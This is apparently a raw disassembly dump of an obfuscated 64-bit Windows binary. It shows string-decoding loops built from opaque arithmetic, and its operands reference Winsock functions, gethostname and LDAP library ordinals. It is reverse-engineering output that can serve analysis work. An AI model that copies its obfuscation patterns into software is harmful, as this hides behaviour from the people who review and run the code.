lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008a324
movabs rcx, 0xfb9fa664f72d20a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
jmp 0x14008a781
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008a340
movabs rcx, 0xbfe325b16023d7e0
jmp 0x14008a56d
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008a376
movabs rdx, 0x8426a4fdc91a8f20
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008a5b5
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140089f32
movabs rdx, 0x486a244a32114660
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xe58]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400899e2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008a400
movabs rcx, 0x3312e289387a1080
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
movzx eax, byte [rbp + rbx + 0xe58]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400899e2
inc rax
cmp r8, rax
jne 0x14008a430
movabs rdx, 0xbb99e1220a677f00
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
movzx r10d, r11b
sub r10b, cl
add r10b, dl
jmp 0x14008a582
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008a475
movabs rcx, 0x4420dfbadc54ed80
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400899e2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008a4a7
movabs rdx, 0x8645f07454ba4c0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x40
jmp 0x14008a722
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008a4da
movabs rcx, 0xcca7de53ae425c00
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
dec rbx
inc rbx
jmp 0x1400899e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140089ede
movabs rdx, 0x552edcec802fca80
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x80
jmp 0x14008a66b
movabs rdx, 0xddb5db85521d3900
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0xe58]
sub r10b, al
jmp 0x14008a71f
movabs rdx, 0xa1f95ad1bb13f040
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0xe58]
add r10b, dl
add r10b, r11b
jmp 0x14008a582
movabs rcx, 0x6a9d33b92cdd86e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
movabs rdx, 0x41b1a77ef8f4be0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x20
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xe58], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x663cda1e240aa780
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x80
add r11b, cl
mov byte [rbp + rbx + 0xe58], r11b
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xe58]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400899e2
movabs rcx, 0xa659b46cc3e6cfa0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
jmp 0x14008a781
movabs rcx, 0x598f36878902a9e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x1400899e2
movabs rdx, 0xd10837eeb7153b60
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movabs rdx, 0x7b941bdf1da1dd60
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xe58], cl
inc r9
dec rbx
inc rbx
jmp 0x1400899e2
movabs rcx, 0x843dba097c3115a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
inc r9
dec rbx
inc rbx
jmp 0x1400899e2
movabs rdx, 0xbffa3abd133a5e60
mov ecx, Ordinal_50
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400899e2
movabs rdx, 0xfbb6bb70aa43a720
mov ecx, reloc.WS2_32.dll_recv
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movabs rcx, 0x3fd79b2b869894a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x60
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0xe58], r11b
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400899e2
movabs rcx, 0x732fbcd7d85638a0
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x60
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400899e2
movabs rcx, 0x26653ef29d7212e0
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x20
movzx eax, byte [rbp + rbx + 0xe58]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400899e2
movabs rdx, 0xfb88915944169a20
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400899de
movabs rcx, 0x3745120cdb1fe2e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
jmp 0x1400899c1
lea rcx, [rbp + 0x1619dd8]
jmp 0x14008a83b
lea rcx, [rbp + 0x15cf978]
jmp 0x14008a83b
lea rcx, [rbp + 0xe58]
mov dword [rbp + 0xf48], 0x41200000
mov dword [rbp + 0xf50], 0x3f800000
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xf48]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf50]
mov r8, rdi
mov edx, 8
call fcn.140037d20
mov byte [rbp + 0xe80], 9
mov byte [rbp + 0xe81], Ordinal_35
mov byte [rbp + 0xe82], reloc.WS2_32.dll_sendto
mov byte [rbp + 0xe83], 0x59
mov byte [rbp + 0xe84], reloc.WLDAP32.dll_Ordinal_32
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe85], xmm0
mov qword [rbp + 0xe95], rax
mov dword [rbp + 0xe9d], eax
mov word [rbp + 0xea1], ax
movabs rdi, 0x4dbe532893cff226
movabs rsi, 0x609cd254200edd1e
movabs r14, 0x6969ec4fd8d704a4
movabs r12, 0x29016017c377c690
movabs r13, 0x6d5073aa9128433a
movzx edx, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor r11d, r11d
movabs rcx, 0x588b83b0dce36e6
cmp r11, 0x23
jae 0x14008b28e
movzx r10d, byte [rbp + r11 + 0xe80]
mov ebx, r10d
cmp r8, r11
ja 0x14008b282
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008a96f
lea rcx, [r11 + rdi]
mov rax, rcx
and rax, rbx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rbx
sub dl, 0xa
movabs rcx, 0x588b83b0dce36e6
jmp 0x14008a99b
je 0x14008b1fc
inc rax
cmp r8, rax
je 0x14008b196
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008b16a
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008b114
nop dword [rax + rax]
cmp r9, r11
ja 0x14008b276
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14008a9d3
lea rcx, [r11 + rsi]
movzx eax, r10b
and al, cl
mov edx, reloc.WS2_32.dll_socket
sub dl, al
add dl, dl
add dl, r10b
add dl, cl
jmp 0x14008aa06
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008b100
inc rax
cmp r8, rax
je 0x14008b0d6
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008b0a0
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008b078
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x14008ac6c
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14008ac49
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14008ac1d
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008abe8
lea r8, [r9 + 5]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14008b252
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14008b22f
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14008ab63
lea r8, [r9 + 2]
lea r9, [r8 + 6]
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14008ab34
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14008ab11
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14008aaec
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14008aac7
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x400]
jmp 0x14008aa20
lea rcx, [r11 + r14]
movzx eax, r10b
and al, cl
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x7c
add dl, cl
inc r9
dec r11
inc r11
jmp 0x14008a913
movabs rcx, 0x5ffaacba12b78f28
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x18
add dl, cl
jmp 0x14008b042
movabs rcx, 0xc47e0668eb17aadc
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
movzx edx, r10b
sub dl, al
sub dl, 4
jmp 0x14008b1b2
lea rcx, [r11 + r12]
movzx eax, r10b
and al, cl
mov edx, 8
sub dl, al
add dl, dl
add dl, r10b
add dl, cl
movzx eax, byte [rbp + r11 + 0xe80]
add rax, r9
add r11, rax
inc r11
jmp 0x14008a913
lea rcx, [r11 + r13]
movzx eax, r10b
and al, cl
mov edx, gethostname
sub dl, al
add dl, dl
add dl, r10b
add dl, cl
cmp r8, 0x28
jae 0x14008afbb
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x14008aeae
movabs rdx, 0xe6f6a2ff589b902c
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x34
add dl, cl
cmp r9, 0x2a
jb 0x14008afab
movabs rdx, 0xf9d5222ae4da7b24
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x14008b135
movabs rdx, 0x7136fb05497981d0
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, dl
mov rcx, r15
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14008a913
movabs rcx, 0x34461c0aaf9f0a0
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x60
inc r9
dec r11
inc r11
jmp 0x14008a913
movabs rdx, 0x67c7bb6f835a0c54
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x4c
jmp 0x14008b133
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14008accd
lea rdx, [r11 + rdi]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0xa
add dl, cl
lea rax, [r9 + r8]
cmp rax, 0x64
je 0x14008b01c
lea rcx, [r9 + 3]
cmp r8, rcx
jbe 0x14008addd
movabs rcx, 0x8659d0ab388cb30e
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x62
jmp 0x14008ab7b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008ad12
movabs rdx, 0xc139a4a8401dba3c
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx eax, byte [rbp + r11 + 0xe80]
add rax, r9
add r11, rax
inc r11
jmp 0x14008a913
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008ad45
movabs rdx, 0xf832f14a8f5d82d4
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14008b042
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008ad77
movabs rdx, 0xcaa8e43e063d2fb8
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 8
add dl, cl
jmp 0x14008afde
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008adad
movabs rcx, 0x66258a8f2ddd1404
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1c
dec r11
inc r11
jmp 0x14008a913
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14008ac8f
movabs rcx, 0x9d1ed7317d1cdc9c
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x44
jmp 0x14008b135
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008ae0d
movabs rcx, 0x21d676fc602c975a
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x76
jmp 0x14008b135
inc rax
cmp r8, rax
jne 0x14008ae48
movabs rdx, 0xbd531d4d87cc7ba6
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
inc r9
dec r11
inc r11
jmp 0x14008a913
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14008ae7b
movabs rdx, 0xf44c69efd70c443e
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14008afde
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008ab7b
movabs rdx, 0xc6c25ce34debf122
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14008b042
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008aef1
movabs rcx, 0x82734950803b7478
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x48
movzx eax, byte [rbp + r11 + 0xe80]
add rax, r9
add r11, rax
inc r11
jmp 0x14008a913
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008af33
movabs rdx, 0x54e93c43f71b215c
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, dl
mov rcx, r15
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14008a913
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008af78
movabs rdx, 0xf065e2951ebb05a8
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
add r8, r9
movzx eax, dl
mov rcx, r15
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14008a913
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14008abb5
movabs rdx, 0x5e587bd9bd3a96d8
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14008b135
mov byte [rbp + r11 + 0xe80], dl
inc r11
jmp 0x14008a913
movabs rdx, 0x9551c87c0c7a5f70
add rdx, r11
movzx eax, dl
and al, r10b
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x10
add dl, cl
add dl, r10b
movabs rcx, 0xe3101ba4a04a5196
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x1a
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0xe80], cl
add r8, r9
movzx eax, dl
mov rcx, r15
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14008a913
movabs rcx, 0x30ce6ecd341a43bc
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + r11 + 0xe80]
lea edx, [r10 + rcx]
sub dl, 0x24
movabs rcx, 0x7e8cc1f5c7ea35e2
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x2e
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0xe80], al
inc r9
add rax, r9
sub r11, rax
jmp 0x14008b1b4
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x4a
movzx eax, dl
mov rcx, r15
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14008a913
movabs rcx, 0x6a0c11e9e62e529a
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x36
add r8, r9
movzx eax, dl
mov rcx, r15
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14008a913
movabs rcx, 0x3312c54796ee8a02
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0xe
dec r11
inc r11
jmp 0x14008a913
movabs rdx, 0xfc1978a547aec16a
mov ecx, reloc.WS2_32.dll_listen
jmp 0x14008b123
movabs rdx, 0xc5202c02f86ef8d2
mov ecx, reloc.WLDAP32.dll_Ordinal_33
add rdx, r11
movzx eax, r10b
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movabs rcx, 0x4793755378aa6d4a
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 6
add r10b, cl
mov byte [rbp + r11 + 0xe80], r10b
inc r9
dec r11
inc r11
jmp 0x14008a913
movabs rdx, 0x8e26df60a92f303a
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
dec r11
inc r11
jmp 0x14008a913
movabs rdx, 0x84b79fcae30fbabe
add rdx, r11
movzx eax, dl
and al, bl
add al, al
movzx ecx, bl
sub cl, al
sub dl, 0x32
add dl, cl
movabs rcx, 0xcc4b151e5bba2808
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x38
add cl, r10b
mov byte [rbp + r11 + 0xe80], cl
inc r8
mov rax, r15
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0xe80]
add rax, r9
add r11, rax
inc r11
jmp 0x14008a913
movabs rcx, 0xe93af979bb6fd672
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea edx, [rcx + rbx]
sub dl, 0x1e
movzx eax, byte [rbp + r11 + 0xe80]
add rax, r9
add r11, rax
inc r11
jmp 0x14008a913
movabs rcx, 0x63e13414cb08cdbe
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x32
jmp 0x14008a90e
movabs rcx, 0xc8648dc3a368e972
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x1e
jmp 0x14008a8f6
lea rsi, [rbp + 0x176c008]
jmp 0x14008b295
lea rsi, [rbp + 0x106b22e]
jmp 0x14008b295
lea rsi, [rbp + 0xe80]
lea rdx, [0x140236df0]
lea rcx, [rbp + 0x640]
call fcn.140002660
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xd0]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002800
lea rcx, [rbx + 0x30]
call fcn.14006b4d0
mov rdi, rax
mov byte [rbp + 0x660], 0x46
mov byte [rbp + 0x661], Ordinal_45
mov byte [rbp + 0x662], 0x5f
mov byte [rbp + 0x663], 0x5f
mov byte [rbp + 0x664], 0x51
mov byte [rbp + 0x665], 0x58
mov byte [rbp + 0x666], Ordinal_45
mov byte [rbp + 0x667], 0x54
mov byte [rbp + 0x668], Ordinal_50
mov byte [rbp + 0x669], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x66a], 0x80
mov byte [rbp + 0x66b], 0x58
mov byte [rbp + 0x66c], 0xa2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x66d], xmm0
mov dword [rbp + 0x67d], eax
mov word [rbp + 0x681], ax
movabs r14, 0xd802fe05754bff3
movabs r12, 0xeba5cf2e72cf706d
movabs r13, 0xeeeef3176aefc9f
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
movabs rcx, 0x6e5b6ffe7e1039e7
cmp rbx, 0x23
jae 0x14008c25f
movzx r11d, byte [rbp + rbx + 0x660]
mov rdx, r11
cmp r8, rbx
ja 0x14008c253
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008b3e4
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x51
jmp 0x14008b410
je 0x14008c1cb
inc rax
cmp r8, rax
je 0x14008c130
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008c0fd
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008c09b
cmp r9, rbx
ja 0x14008c247
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x14008b441
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5b
jmp 0x14008b490
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14008c04a
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008c020
lea rax, [rcx + 1]
cmp r8, rax
je 0x14008bfe9
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008bfb5
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008bf91
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008bf5c
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14008bb33
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14008bb0a
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14008badd
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14008bab3
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008ba8a
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14008ba53
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14008ba1a
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008b9f1
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14008b9cd
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008b993
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14008b4a0
mov r8, rax
lea r9, [rax + 0x10]
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14008c223
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14008c1ff
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14008b688
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14008b66d
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14008b652
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14008b933
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14008b8d4
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14008b885
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14008b856
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14008b4a0
mov r8, rax
lea r9, [rax + 2]
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14008b821
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14008b7f8
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14008b7d4
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14008b79b
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14008b75f
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14008b73b
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14008b70c
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14008b6da
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14008b6b6
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14008b4a0
mov r8, rax
lea r9, [rax + 0x400]
jmp 0x14008b4a0
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 5
jmp 0x14008b490
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x59
jmp 0x14008b410
movabs rcx, 0x32380f347a8e88d1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x49
movabs rcx, 0x6e5b6ffe7e1039e7
jmp 0x14008b3af
movabs rcx, 0x6c017f02baa5ff98
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
jmp 0x14008c069
movabs rdx, 0x8f4a9f05be858bca
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14008b392
movabs rdx, 0xb293bf08c26517fc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14008b392
movabs rcx, 0xd5dcdf0bc644a42e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x42
jmp 0x14008c0be
movabs rdx, 0xf925ff0eca243060
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008b392
movabs rdx, 0x1c6f1f11ce03bc92
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008b392
movabs rcx, 0x3fb83f14d1e348c4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5c
jmp 0x14008c152
movabs rdx, 0x63015f17d5c2d4f6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008c182
movabs rcx, 0x864a7f1ad9a26128
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
movzx eax, byte [rbp + rbx + 0x660]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008b392
movabs rcx, 0x5e814f2263513fa5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7d
mov byte [rbp + rbx + 0x660], r10b
inc rbx
jmp 0x14008b392
movabs rcx, 0x81ca6f256730cbd7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1f
cmp r9, 4
jb 0x14008b875
movabs rcx, 0xf86e9f663a77120a
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x14008c069
movabs rcx, 0xa5138f286b105809
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3f
cmp r8, 0x28
jae 0x14008befd
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x14008bdcb
movabs rdx, 0x5949df8461328bfe
add rdx, rbx
movzx eax, dl
and al, r11b
